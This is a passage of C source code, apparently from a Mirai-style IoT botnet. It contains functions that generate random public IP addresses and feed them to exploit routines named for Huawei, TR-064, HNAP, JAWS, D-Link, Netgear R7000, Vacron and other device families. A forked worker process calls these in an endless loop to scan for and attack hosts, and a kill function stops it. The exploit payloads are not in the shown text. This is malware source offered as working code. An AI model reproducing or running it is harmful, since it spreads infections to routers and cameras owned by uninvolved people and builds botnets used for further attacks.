ipState[7]);534sprintf(huawei_ip3, "%d.%d.%d.%d", ipState[8], ipState[9], ipState[10], ipState[11]);sprintf(huawei_ip4, "%d.%d.%d.%d", ipState[12], ipState[13], ipState[14], ipState[15]);535sprintf(huawei_ip5, "%d.%d.%d.%d", ipState[16], ipState[17], ipState[18], ipState[19]);536537exploit_socket_huawei(huawei_ip1);538exploit_socket_huawei(huawei_ip2);539exploit_socket_huawei(huawei_ip3);540exploit_socket_huawei(huawei_ip4);541exploit_socket_huawei(huawei_ip5);542}543544void TR064_IPGen()545{546char tr_ip1[16] = {0};547548srand(time(NULL));549ipState[0] = rand() % 233;ipState[1] = rand() % 255;550ipState[2] = rand() % 255;ipState[3] = rand() % 255;551552sprintf(tr_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);553554exploit_socket_tr064(tr_ip1);555}556557void HNAP_IPGen()558{559char hnap_ip1[16] = {0};560561srand(time(NULL));562ipState[0] = rand() % 233;ipState[1] = rand() % 255;563ipState[2] = rand() % 255;ipState[3] = rand() % 255;564565sprintf(hnap_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);566567exploit_socket_hnap(hnap_ip1);568}569570void CROSSWEB_IPGen()571{572char crossweb_ip1[16] = {0};573574srand(time(NULL));575ipState[0] = rand() % 233;ipState[1] = rand() % 255;576ipState[2] = rand() % 255;ipState[3] = rand() % 255;577578sprintf(crossweb_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);579580exploit_socket_crossweb(crossweb_ip1);581}582583void JAWS_IPGen()584{585char jaws_ip1[16] = {0};586587srand(time(NULL));588ipState[0] = rand() % 233;ipState[1] = rand() % 255;589ipState[2] = rand() % 255;ipState[3] = rand() % 255;590591sprintf(jaws_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);592593exploit_socket_jaws(jaws_ip1);594}595596void DLINK_IPGen()597{598char dlink_ip1[16] = {0};599600srand(time(NULL));601ipState[0] = rand() % 233;ipState[1] = rand() % 255;602ipState[2] = rand() % 255;ipState[3] = rand() % 255;603604sprintf(dlink_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);605606exploit_socket_dlink(dlink_ip1);607}608609void R7000_IPGen()610{611char r7000_ip1[16] = {0};612613srand(time(NULL));614ipState[0] = rand() % 233;ipState[1] = rand() % 255;615ipState[2] = rand() % 255;ipState[3] = rand() % 255;616617sprintf(r7000_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);618619exploit_socket_r7064(r7000_ip1);620}621622void VARCON_IPGen()623{624char varcon_ip1[16] = {0};625626srand(time(NULL));627ipState[0] = rand() % 233;ipState[1] = rand() % 255;628ipState[2] = rand() % 255;ipState[3] = rand() % 255;629630sprintf(varcon_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);631632exploit_socket_vacron(varcon_ip1);633}634635void AWSEC2_IPGen()636{637char awsec2_ip1[16] = {0};638639srand(time(NULL));640ipState[0] = rand() % 233;ipState[1] = rand() % 255;641ipState[2] = rand() % 255;ipState[3] = rand() % 255;642643sprintf(awsec2_ip1, "%d.%d.%d.%d", ipState[0], ipState[1], ipState[2], ipState[3]);644645exploit_socket_awsec2(awsec2_ip1);646}647648void exploit_worker(void)649{650int i = 0;651scanner_pid = fork();652653if (scanner_pid > 0 || scanner_pid == -1)654return;655restart:656i++;657if (i > 10)658{659#ifdef DEBUG660printf("[sleep] active for 12 sec\n");661#endif662sleep(12);663i = i - 10;664goto restart;665}666usleep(300000);667GPON8080_IPGen();668usleep(300000);669GPON80_IPGen();670usleep(300000);671REALTEK_IPGen();672usleep(300000);673NETGEAR_IPGen();674usleep(300000);675HUAWEI_IPGen();676usleep(300000);677TR064_IPGen();678usleep(300000);679HNAP_IPGen();680usleep(300000);681CROSSWEB_IPGen();682usleep(300000);683JAWS_IPGen();684usleep(300000);685DLINK_IPGen();686usleep(300000);687R7000_IPGen();688usleep(300000);689VARCON_IPGen();690usleep(300000);691AWSEC2_IPGen();692goto restart;693}694695void exploit_kill(void)696{697kill(scanner_pid, 9);698}699700#endif701702703